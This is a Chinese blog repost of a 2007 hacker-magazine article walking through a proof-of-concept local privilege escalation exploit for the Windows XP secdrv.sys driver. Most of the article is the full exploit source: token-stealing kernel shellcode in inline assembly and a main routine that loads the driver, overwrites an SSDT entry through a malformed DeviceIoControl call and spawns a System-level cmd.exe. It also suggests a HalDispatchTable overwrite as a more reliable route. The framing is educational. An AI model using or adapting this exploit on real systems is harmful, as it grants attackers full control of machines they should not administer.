深入浅出secdrv.sys本地提权0day Poc

secdrv.sys任意kernel地址覆盖漏洞浅析(0day) secdrv.sys任意kernel地址覆盖漏洞浅析(0day) by flyingkisser  前言: 这几天忙着找工作,没及时看安全公告,这个0day出了好几天才知道, 并且等我想分析时,才发现poc已经出来了。 Anyway,还是把分析过程写一写吧,尽管没什么技术含量, 这里我只分析了主要的地方,也只说说关键的。  1.什么是secdrv.sys secdrv.sys,不知道是干什么的,也 阅读详情
来源:gyzy's Blog

本文已经发表在《黑客防线》2007年9月刊。作者及《黑客防线》保留版权,转载请注明原始出处
适合读者:溢出爱好者
前置知识:汇编语言、Windows内核基本原理
深入浅出secdrv.sys本地提权0day Poc
文/图 gyzy[江苏大学信息安全系&EST]
漏洞出在一款名为secdrv.sys的驱动程序中,secdrv.sys是集成在Windows Server 2003和Windows XP中的Macrovision的SafeDisc软件的一部分。SafeDisc能够阻止对一些媒体的非法拷贝,Windows Vista也集成有SafeDisc,但它没有受到这个漏洞的影响。由于该驱动没有正确地检查用户提供的缓冲区便将输入缓冲区的前4个DWORD拷贝到了输出缓冲区,因此可以覆盖任意地址,甚至内核地址。利用这个漏洞的限制是InputBuffer必须为固定的值。本地攻击者可以利用这个漏洞在 Windows平台上获得系统级权限。我在网上搜了一下资料,居然以前这个驱动就出现过此类问题。这个漏洞最早应该是WhiteCell的 Polymorphours大牛发现的,Symentec后来截获了这个漏洞报给了微软。Polymorphours牛牛公布了Poc,我们才得以一窥这个漏洞。这次我将带领大家从解读Polymorphours大牛的PoC,换一个角度来研究这个漏洞。
先说一下这个PoC利用的大致思路,因为这个驱动能写任意内存地址,所以通过覆盖SSDT中一个不常用的函数地址,然后通过调用这个函数来执行恶意代码。这儿牛牛选择了ZwVdmControl 这个函数。当然也可以选择其它函数,但是为了系统的稳定,最好还是选择不常用的函数地址覆盖。
VOID
SetShellCodeToMemory(
PVOID ShellCodeMemory
)
{
OSVERSIONINFOEX OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

printf( "Not NT5 system/n" );
ExitProcess( 0 );
return;
}

if ( OsVersionInfo.dwMinorVersion == 1 ) {

__asm {

call CopyXpShellCode
nop
nop
nop
nop
nop
nop

mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]

mov esi,[eax+0x220]
mov eax,esi

searchXp:

mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // Find System Process
jne searchXp

mov eax,[eax+0xc8] // 获取system进程的token
mov [esi+0xc8],eax // 修改当前进程的token

ret 8

CopyXpShellCode:
pop esi
mov edi, ShellCodeMemory
lea ecx, CopyXpShellCode
sub ecx, esi
cld
rep movsb
}
}
}
Poc 代码除了main函数以外就一个SetShellCodeToMemory函数,很简单,前半部分是对系统的判断,假如不是Windows XP则退出,然后是把真正的Shellcode拷贝到指定地址0x200地址处。真正的Shellcode很简短,通过fs:[0x124] 或者0xffdff124能定位到当前线程的ETHREAD,再通过ETHREAD定位到EPROCESS,然后通过里面的双链表定位到所有的活动进程,比较其PID是否为4,PID4的在XP下是System进程,2000下System进程PID是8。然后将System进程的令牌赋给当前进程,这样权限就是System的了,由于权限继承的原理,当前进程的子进程也应该是system权限。这就是本地提权类漏洞利用的通用思路。上述定位活动进程链的思路如图1和2:
https://i-blog.csdnimg.cn/blog_migrate/82da1d0ee5161a089b9b876ccb50201c.png
图1
https://i-blog.csdnimg.cn/blog_migrate/de43ac7d2546a62ebd57bb764ff9d8e4.png
图2

Main函数的任务就更加简单了,就是负责触发漏洞,我给下面这段代码加上了详细的注释,并且在原作者的基础上略为修改,使之能顺利的运行起来:
int main(int argc, char* argv[])
{
NTSTATUS status;
PVOID ZwVdmControl = NULL;
DWORD HookAddress = 0x804E3AD8;
// xp sp2下内核中ZwVdmControl函数的真正地址,由于环境不同,该值可通过IceSword获得,如图3
https://i-blog.csdnimg.cn/blog_migrate/48a4de2f39336b6c6c12f13ea60c8359.png
图3

PVOID ShellCodeMemory = (PVOID)0x200; //Shellcode的地址
DWORD MemorySize = 0x1000;

HANDLE deviceHandle;
DWORD dwReturnSize = 0;

SC_HANDLE hscmHandle = NULL;
SC_HANDLE hscDriver = NULL;

PROCESS_INFORMATION pi;
STARTUPINFOA stStartup;
PVOID InputBuffer = NULL;

printf( "/tWindows Local Privilege Escalation Vulnerability Exploit 0day (POC)/n" );
printf( "Create by Whitecell's Polymorphours@whitecell.org 2007/04/15/n" );
printf( "TEST OS: WINDOWS XP SP2/n" );

printf( "[*] Connect SCM ... " );

/*由于该驱动默认是不会加载的,所以这儿我们只能通过SCM服务管理器来启动这个服务以迫使Windows加载该驱动*/
hscmHandle = OpenSCManager ( NULL, NULL, GENERIC_READ | SERVICE_START );
if ( NULL == hscmHandle ) {

printf( "failed, code: %d/n", GetLastError() );
return 0;
}

printf( "success!!/n" );
printf( "[*] Open services ... " );

hscDriver = OpenService( hscmHandle, "secdrv", GENERIC_READ | SERVICE_START );
if ( NULL == hscDriver ) {

printf( "failed, code: %d/n", GetLastError() );
CloseServiceHandle ( hscmHandle );
return 0;
}

printf( "success!!/n" );
printf( "[*] Start services ... " );

// 启动secdrv驱动

if ( !StartService( hscDriver, 0, NULL ) ) {
if ( ERROR_SERVICE_ALREADY_RUNNING != GetLastError() ) {
printf( "failed, code: %d/n", GetLastError() );
CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
return 0;
}
}

printf( "success!!/n" );

CloseServiceHandle ( hscDriver );
CloseServiceHandle ( hscmHandle );
//获得NtAllocateVirtualMemory的地址,后面会用到
NtAllocateVirtualMemory = (long (__stdcall *)(void *,void ** ,unsigned long,unsigned long *,unsigned long,unsigned
long))GetProcAddress( LoadLibrary("ntdll.dll"), "NtAllocateVirtualMemory" );
if ( NtAllocateVirtualMemory == NULL ) {

printf( "GetProcAddress failed, code: %d/n" );
return 0;
}
//动态获得ZwVdmControl的地址,为执行Shellcode作准备
ZwVdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
printf( "[*] Create execute environment ... " );

//分配Shellcode的内存并把Shellcode拷贝过去
status = NtAllocateVirtualMemory( (HANDLE)-1,
&ShellCodeMemory,
0,
&MemorySize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {
printf( "failed!/n[-] NtAllocateVirtualMemory failed, status: %08X/n", status );
return 0;
}

printf( "Ok!/n" );

// 初始化 ShellCode

memset( ShellCodeMemory, 0x90, MemorySize );
SetShellCodeToMemory( (PVOID)((DWORD)ShellCodeMemory + 0x200) );

deviceHandle = CreateFile("////.//secdrv",
0,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {

printf( "[-] Open device failed, code: %d/n", GetLastError() );
return 0;
} else {

printf( "[*] Open device success/n" );
}

InputBuffer = LocalAlloc( LPTR, 0x1000 );

/*原作者的InputBuffer只拷贝了4字节的内容*/
*(PDWORD)InputBuffer = 0x1;
*(PDWORD)((DWORD)InputBuffer + 0x4) = 0x96;
*(PDWORD)((DWORD)InputBuffer + 0x8) = (DWORD)ShellCodeMemory;
*(PDWORD)((DWORD)InputBuffer + 0x10) = (DWORD)HookAddress;

DeviceIoControl( deviceHandle,
0xca002813,
InputBuffer,
16,
(PVOID)HookAddress,
16,
&dwReturnSize,
NULL );

CloseHandle( deviceHandle );

printf( "[*] call shellcode ... " );

_asm {

xor ecx,ecx
push ecx
push ecx
mov eax, ZwVdmControl
call eax
}

printf( "Done./n" );
printf( "[*] Create New Process/n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
π );
}
概括的说来,其实这个PoC很简单,只有寥寥几步,先加载secdrv的驱动,然后通过DeviceIOControl传递畸形参数覆盖SSDT表中的内核函数地址,然后调用该函数来执行Shellcode,自己测试的时候有几个地方需要自己修改一下,编译以后运行,如果不出意外的话你们看到的应该就是蓝屏,没有成功提权,重启以后使用Windbg调试蓝屏的dump文件,如图4:
https://i-blog.csdnimg.cn/blog_migrate/308bd6ebbec4d2cae465bc0bba0409c5.png
图4
出错的指令就在内存拷贝上,因为SSDT的数据是不可写的,所以试图覆盖SSDT表windows当然会蓝屏,所以在提权中,覆盖SSDT来执行代码似乎不太可行,当然,假如系统中有类似杀毒软件之类的安全工具禁掉了内存保护那就另当别论了。看到这,也许很多读者会感到失望,为什么大牛发布出来的不能用呢,呵呵,也许是不希望所有的人都不劳而获,而希望广大聪明的读者能够踏踏实实的学到一点东西,而不是永远只是一个使用他人工具的脚本小子。
总结
由于自身水平有限,对这个Poc的解说也只能到这了,有一点是毋庸置疑的,那就是这个漏洞肯定是可以利用的,写任意内存可以覆盖一些关键的数据来获得EIP 的控制权,最近一直忙着写论文,也没有时间仔细研究,有兴趣的读者可以深入的研究一下。可以参考一下一个老外写的Poc,覆盖了内核中的 HalDispatchTable表来执行代码的。有了成果不要忘了和广大读者共同分享喔。
又是一个本地提权类的漏洞,从近两年开始,这一类的漏洞开始逐步增多了,已经成为了一个研究的热点,希望能通过这个例子,让广大朋友们能更快的进入内核漏洞利用的大门。其实内核漏洞利用的手段相对来说还是比较单一的,应该很容易掌握,上一期也讨论了如何编写内核下的Shellcode,有兴趣的朋友可以探索一下。
文章也写的比较仓促,错误疏漏在所难免,敬请广大读者指正,有任何问题来我的博客留言: http://www.gyzy.org
(文中所涉及的程序码,请到黑防官方网站下载,详细地址请看公共论坛置顶帖)  
 
三11 win10用签名.zip 三国志11无法直接在win10运行, 把secdrv.sys放到C:\Windows\System32\drivers下就可以了 立即下载

相关推荐

Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞

利用系统漏洞是最直接的方法!微软在2007年下半年发布了一个“Windows XP 核心驱动 secdrv.sys 本地权限提升漏洞”,利用这个本地溢出漏洞,我们可以获得本地的最高权限。

在win10运行三国志11,真三国无双4等老游戏

在win10运行三国志11,真三国无双4等老游戏 针对win10下打开三国志11,真三国无双4等老游戏的问题,可尝试以下解决办法: 设置兼容模式 以管理员身份运行cmd,输入 sc config secdrv start=auto 后回车 下载 secdrv.sys,置于C:\Windows\system32\drivers\ 文件夹下 下载地址:https://pan.baidu.com/s/17I_ynArLMluSYxtZgr6f1Q 提取码: 7mgy ...

qq_40563228的博客 2万+

三国志11 全部数据MySQL命令

san_baowu.sql 三国志11 数据MySQL命令,其中包含宝物、朝代、城市、关口、势力、武将内容。

【免费下载】 三国志11原版在Windows 11上的成功运行指南

三国志11原版在Windows 11上的成功运行指南 【下载地址】三国志11原版在Windows11上的成功运行指南分享 三国志11原版在Windows 11上的成功运行指南本文详细介绍了如何在Windows 11系统上成功运行原版三国志11的步骤 ...

gitblog_06592的博客 4636

sys驱动签名工具.zip

sys驱动签名工具.zipsys驱动签名工具.zipsys驱动签名工具.zipsys驱动签名工具.zipsys驱动签名工具.zip

老电脑升级win11一键解决

一些老的电脑无法安装win11,这个文件可以解决。本人亲自测试过。升到win11别忘了磁盘清理一下,需要可以下载。

三国志11原版win11成功运行心得

搞了半天,在网上摸索了好久,终于能够在win11上运行三国志11了!!!!!!!!

A_grumpy_Mario的博客 3万+

secoclient最新驱动补丁SVNDrv.zip

secoclient最新驱动补丁

secoclient返回码超时(在网上找了好几个都没用,这个亲测有用)

1.进入Device Manager ->Network adapters找到SVN Adapter V1.0,右键选择Disable。 2.进入C:\Windows\System32\drivers找到SVNDrv.sys文件并删除,删除后复制新的SVNDrv.sys到对应目录(备注:下为最新的SVNDrv.sys文件) SVNDrv.sys文件链接...

qq_39153893的博客 1万+

三国志11各城市火球阵.doc

三国志11各城市火球阵.doc

【G4基础08】GPS-2-Macro Commands宏命令

GPS-2

adelall的博客 3738

centos 6.8下载地址

centos6.8校验码查询网站:https://wiki.centos.org/zh-tw/Manuals/ReleaseNotes/CentOS6.8 CentOS 6.8 64位DVD 种子下载 http://mirrors.sina.cn/centos/6.8/isos/x86_64/CentOS-6.8-x86_64-bin-DVD1to2.torrent Cent...

weixin_30525825的博客 1942

复古与新生:老毛子Padavan固件在旧设备上的现代化应用之旅

本文探讨了如何通过刷入Padavan固件,让小米路由器3G(R3G)等老旧设备重获新生,实现现代化应用。详细介绍了从硬件潜力分析、智能家居中枢搭建,到轻量级服务器部署和网络功能扩展的全过程,为技术爱好者提供了一条低成本、高性能的设备改造之路。

k8s6orchestrator的博客 1061
上一篇: Kaspersky 7.0 HOOK SSDT分析
下一篇: r0下FSD inline hook防删除
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值